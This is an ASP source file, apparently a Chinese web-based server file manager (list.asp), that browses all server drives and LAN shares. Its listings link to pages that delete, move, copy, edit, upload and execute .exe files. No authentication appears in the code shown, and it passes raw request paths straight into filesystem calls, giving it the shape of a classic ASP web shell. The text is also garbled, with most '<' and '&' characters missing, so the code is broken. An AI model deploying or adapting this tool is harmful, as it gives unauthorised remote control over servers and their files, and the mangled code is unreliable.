%
urlpath="http://"Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"a href='list.asp?path="Request("oldpath")"attrib="attrib"'>font color='#FF8000'>■/font>↑font color='ff2222'>回上级目录/font>/a>br>"
Response.write"table border='0' width='100%' cellpadding='0'>"
For Each x In theSubFolders
Response.write"tr>td width='50%'>a href='list.asp?path="lpathx.Name"oldpath="Request("path")"attrib="attrib"'>└font color='#FF8000'>■/font> "x.Name"/a> /td>"
Response.Write "td>a href=# onclick=javascript:window.open('delete.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>删除/a>/td>"
Response.Write "td>a href=# onclick=javascript:window.open('move.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>移改/a>/td>"
Response.Write "td>a href=# onclick=javascript:window.open('copy.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>复制/a>br>/td>/tr>"
Next
Response.Write "/table>"
end if
End Sub
Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"table border='0' width='100%' cellpadding='0'>"
For Each x In theFiles
if Request("attrib")="true" then
showstring="strong>"x.Name"/strong>"
else
showstring="a href=# onclick=javascript:window.open('"urlpathlpathserver.urlencode(x.Name)"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>strong>"x.name"/strong>/a>"
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring"/td>td width='10%'>A href=# onclick=javascript:window.open('fileop.asp@filename="lpathx.name"action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color=red>执行/font>/a>/td>"
else
showstring=showstring"/td>td width='10%'>/td>"
end if
Response.write"tr>td width='20%'>font color='#FF8000'>□/font>"showstring"td width='15%' align='right'>"x.size"字节/td>td width='45%'>a href='#' title='""类型："x.typechr(10)"属性："x.Attributeschr(10)"时间："x.DateLastModified"'>font color='#FF8000' >？/font>属性/a>a href=# onclick=javascript:window.open('view.asp@path="server.urlencode(lpath)server.urlencode(x.Name)"attrib="attrib"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >∝/font>查看/a>a href=# onclick=javascript:window.open('edit.asp@path="server.urlencode(lpath)server.urlencode(x.Name)"attrib="attrib"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >∝/font>编辑/a>a href=# onclick=javascript:window.open('edit.asp@path="server.urlencode(lpath)server.urlencode(x.Name)"op=delattrib="attrib"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>删除/a>a href=# onclick=javascript:window.open('copy.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >＋/font>复制/a>a href=# onclick=javascript:window.open('move.asp@spath="server.urlencode(lpath)server.urlencode(x.Name)"aim=files""','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >＋/font>移动/a>/td>/tr>"
Next
end if
Response.write"/table>"
End Sub
%>
html>
head>
meta http-equiv="Content-Type" content="text/html; charset=gb2312">
title>/title>
meta name="GENERATOR" content="Microsoft FrontPage 3.0">
style>
!--
table{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
-->
/style>
/head>
script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open('edit.asp?attrib=%=request("attrib")%>creat=yespath=%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open('edir.asp?attrib=%=request("attrib")%>op=creatpath=%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
return false;
}
/script>
script language="vbscript">
sub rmdir(ls)
if confirm("你真的要删除这个目录吗!"Chr(13)Chr(10)"目录为："ls) then
window.open("edir.asp?path="ls"op=delattrib=%=request("attrib")%>")
end if
end sub
sub copyfile(sfile)
dfile=InputBox("※文件复制※"Chr(13)Chr(10)"源文件："sfileChr(13)Chr(10)"输入目标文件的文件名:"Chr(13)Chr(10)"[允许带路径,要根据你的当前路径模式]")
dfile=trim(dfile)
attrib="%=request("attrib")%>"
if dfile>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib>"true" then
alert "对不起，你在相对路径模式下不能使用绝对路径"Chr(13)Chr(10)"错误路径：["dfile"]"
exit sub
end if
else
lp="%=lpath%>"
end if
window.open("edit.asp?path="+sfile+"op=copyattrib="+attrib+"dpath="+lp+dfile)
else
alert"您没有输入文件名！"
end If
end sub
/script>
body>
table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
tr>
td width="100%" bgcolor="#C0C0C0" colspan="2">※切换到相应盘符：span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)">%
For Each thing in fsoBrowse.Drives
Response.write "◎a href='list.asp?path="thing.DriveLetter":attrib=true'>"thing.DriveLetter":/a>"
NEXT
%> /span>br>
[如果该盘在服务器上不存在，那么将不显示东西，你也可以更URL上的PATH值换换到其它路径上，支持局域网地址，如："\\pc01\c"]/td>
/tr>
tr>
td width="100%" bgcolor="#C0C0C0" colspan="2">※%
if Request("attrib")="true" then
response.write "a href='list.asp'>切换到相对路径编辑模式/a>"
else
response.write "a href='list.asp?attrib=true'>切换到绝对路径编辑模式/a>"
end if
%> ※绝对路径:span
style="background-color: rgb(255,255,255)">%=cpath%>/span>/td>
/tr>
tr>
td width="100%" bgcolor="#C0C0C0" colspan="2">※当前目录font color="#FF8000">■/font>:span style="background-color: rgb(255,255,255)">%=lpath%>/span> br>
※上传文件到当前目录font color="#FF8000">■/font>:span style="background-color: rgb(255,255,255)">a href=../upfilein.asp?filepath=%=server.urlencode(cpath)%> target=_blank>上传文件(文件大小最好不要超过500K)/a>/span>
/td>
/tr>form name="newfile"
onSubmit="return crfile(newfile.filename.value);">
tr>td bgcolor="#C0C0C0" colspan="2">〖文件〗 注：只允许文本编辑|input type="text" name="filename" size="20">input
type="submit" value="新建文件">input type="button" value="新建目录" onclick="crdir(newfile.filename.value)">
/td>
/tr>/form>
tr>
td width="40%" valign="top" bgcolor="#C8E3FF">%Call GetFolder()%>
/td>
td width="60%" valign="top" bgcolor="#FFefdf">%Call GetFile()%>
/td>
/tr>
/table>
